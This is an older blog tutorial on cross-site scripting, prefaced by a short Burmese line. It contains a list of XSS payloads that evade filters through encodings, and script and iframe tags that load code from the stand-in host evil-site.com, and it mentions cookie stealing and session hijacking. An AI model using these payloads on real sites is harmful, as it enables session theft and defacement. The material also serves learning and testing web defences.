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Aug 17, 2015

0 Cross Site Scripting (XSS) Tutorial




XSS နည္းလမ္းကို စာေရးသူကိုယ္တိုင္ မကြ်မ္းက်င္တဲ့ ဘာသာရပ္မို ့ မူရင္းအတိုင္းမ်ွေဝလိုက္ပါတယ္ :p

Simply put, cross site scripting involves the injection of malicious code into a website. It is the most common method of attack at the moment, as most large sites will contain at least one XSS vulnerability. However, there is more than one type of XSS. The most commonly found is referred to as "non persistent" XSS.

None Persistent XSS

Non persistent as the title suggests means that the injected script isn't permanent and just appears for the short time the user is viewing the page. The best example of this is a basic coded search engine for a site. Say for example, the site search script is in this format:

Site.com/search.php?search=text here

 


Once something has been searched for, the script may display on the page something along the lines of:

 

 "Results for text here"

 

Simply echoing your search string straight onto the page without performing any validation checks. What if we were to alter the search string to display html of JavaScript? For example:

 

Site.com/search.php?search=<font color=red>XSS</font>


Site.com/search.php?search=<script>alert("XSS");</script>

If no sanitation checks are being performed by the search script, this will just be echoed straight onto the page, therefore displaying an alert or red text. If there was no limit to the size, this could be used to display anything you want.

However, since the attacker can only display code on their own pages, this isn't much of a threat to other users. Although if the string was turned into Hex the search string may be slightly more hidden and with a little deception could be used to trick users into thinking the link is legitimate.

Next there's persistent XSS



Persistent XSS


Again as the name suggests, this is the type of XSS attack the attacker would want to get. Persistent attacks are injected permanently into the code of the site, so anyone who views the site will be able to see permanently. In order for these to work, the code has to be made to store itself on the sites server somehow, which can be hard to find.

An embarrassing example of this was an XSS vulnerability discovered on this site by one of our users (fixed now, obviously) affecting the page all.php. The register process wasn't sanitized at all, so all a user had to do was simply register with a username containing HTML or JavaScript code. This was an obvious vulnerability which should have been spotted from the beginning, but just like XSS on other sites it was missed. If not fixed, this vulnerability would effect all.php as well as the forums and anywhere where the username was displayed on the site. A good place to look out for this vulnerability is basic forum scripts that site owners have made themselves or found off sites designed to help novices.

With both of these attacks, it is also possible to run malicious code from another site again making the possibilities of attack endless. Javascript has a lot of features the are not well know, such as changing the images on sites from images[number].src and anyone who uses myspace will know the CSS can be used to remove or replace certain sections of a site based on name. If you have a permanently vulnerable site, injecting code as simple as the one below will allow you to run XSS off another site:

<SCRIPT SRC=http://evil-site.com/xss.js> </SCRIPT>

Getting Past Basic Protection 

So what if a site owner knows about XSS, but has provided some but very little protection against it? Well, this is where CharCode comes in. Char code is basically just a simple form of character encoding that can encode blocked characters so they get past the protection but still get displayed normally on the page. Here is a very common one that will pop up alerts saying "XSS" if it is vulnerable: 

';alert(String.fromCharCode(88,83,83))//\'; alert(String.fromCharCode(88,83,83))//"; alert(String.fromCharCode(88,83,83))//\"; alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT> alert(String.fromCharCode(88,83,83))</SCRIPT>

This is a very useful XSS to know, as it provides more than one type of attack at once. If you get only one or two alerts, you know that only one of two of them work, so you need to try to eliminate some of them to text which one is affecting the site. The CharCode for "X" is 88 and "S" is 83. As you can see, each provides a slight variation to try to beat character blocking.

XSS could also be hidden in a none existent image. This code below would run malicious JavaScript disguised as an image: 

<img src="javascript:alert('XSS');">

What if quotes are blocked? No problem, just inject the site like so:

<img src=javascript:alert(&quot;XSS&quot;)>

The &quot; will be interpreted in html as a " so the code will run fine. The next one below is very likely to work if you find a site is vulnerable. 

<img src=javascript:alert(String.fromCharCode(88,83,83))>
 

 The XSS is hidden in image form and CharCode is being used to display the XSS vulnerability.

Now things get slightly more complicated as we enter ASCII and Unicode. Unicode is just a basic code that was invented to allow all characters to be available to everyone e.g. for different languages such as chinese character symbols. And ASCII has a similar purpose. You can go to http://www.asciitable.com to view the HTML code needed for ASCII code. This below shows the whole code in ASCII form:

<img src=&#106;&#97;&#118;&#97;&#115;&#99; &#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101; &#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

As you can tell, this will beat many filters as the code is basically unrecognisable. However, translating the code can display what it was designed to do. Next for Unicode, again this makes the text unrecognisable but works the same:

<img src=&#0000106&#0000097&#0000118&#0000097 &#0000115&#0000099&#0000114&#0000105&#0000112 &#0000116&#0000058&#0000097&#0000108&#0000101 &#0000114&#0000116&#0000040&#0000039&#0000088 &#0000083&#0000083&#0000039&#0000041>

If the site has a limited amount of characters allowed, this probably won't be useful. As mentioned previously, hex can also be used for XSS. The example below shows this:

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69 &#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27 &#x58&#x53&#x53&#x27&#x29>

Again unrecognisable which makes it a great XSS to use.

The list of possible XSS attacks is endless and is far more than is covered here. With so many ways to bypass security checks site owners have to work harder to try to protect their sites. As well as web forms being used on most sites these days allowing users to enter code which will be stored somewhere and inevitably viewed by someone else XSS can be used for almost anything. With practise XSS can be used to run a hidden cookie stealer which a user will view and allow you to steal their login info or if sessions are used perform "session hijacking" where you steal their session data and again log in as them. To the simple defacement of a website through HTML or Javascript. XSS is definitely an attack method which should be studied well as it provides such a common method of attack.

As mentioned above, the list of possible XSS attacks is endless, there isn't enough room to mention them here, but I will finish with some more XSS examples that may effect a vulnerable site.

<IMG SRC="jav&#x0A;ascript:alert('XSS');"> - new line vulnerability

<iframe src=http://evil-site.com/evil.html < - XSS using an iframe to display a whole new page

<SCRIPT>x=/XSS/  alert(x.source)</SCRIPT> - again beat checks using Javascript



<BODY BACKGROUND="javascript:alert('XSS')"> - infected body tag

<BGSOUND SRC="javascript:alert('XSS');">

<LINK REL="stylesheet" HREF="javascript:alert('XSS');"> - stylesheet vulnerability

<IMG SRC='vbscript:msgbox("XSS")'> - vbscript, scripting language similar to javascript, again can help beat validation checks

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> - incorrectly parsed meta refresh

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html; base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

- base64 encoding, another form of encryption, this one is less likely to work.

<SCRIPT SRC="http://evil-site.com/xss.jpg"></SCRIPT> - very sneaky method, here you rename your .js to .jpg, but since you have the script tags it will still be read as a js file.




The list goes on and on, the best way is to just try them yourself. A lot of the time incorrectly written HTML code will be the best method. If one way doesn't work, try adding an extra ">" or "<" to the start or end of the code for example or view the source of the page for code tags you need to close. Adding a "'>" to the end then starting your own malicious code. Well, that's the end of this tutorial. For more XSS attack example just use google as more of these are being though up every day. Soon you should even be able to invent your own.

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